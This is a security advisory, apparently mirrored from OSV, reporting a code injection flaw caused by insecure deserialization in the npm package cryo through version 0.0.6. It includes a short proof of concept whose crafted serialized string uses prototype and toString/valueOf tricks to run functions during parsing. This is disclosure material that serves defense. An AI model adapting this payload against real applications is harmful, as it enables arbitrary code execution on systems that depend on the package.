Lucene search

K
osvGoogleOSV:GHSA-38F5-GHC2-FCMV
HistoryAug 21, 2018 - 5:02 p.m.

Code Injection in cryo

2018-08-2117:02:43
Google
osv.dev
12

9.7 High

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

64.7%

All versions of cryo are vulnerable to code injection due to an Insecure implementation of deserialization.

Proof of concept

var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

CPENameOperatorVersion
cryole0.0.6

9.7 High

AI Score

Confidence

High

0.002 Low

EPSS

Percentile

64.7%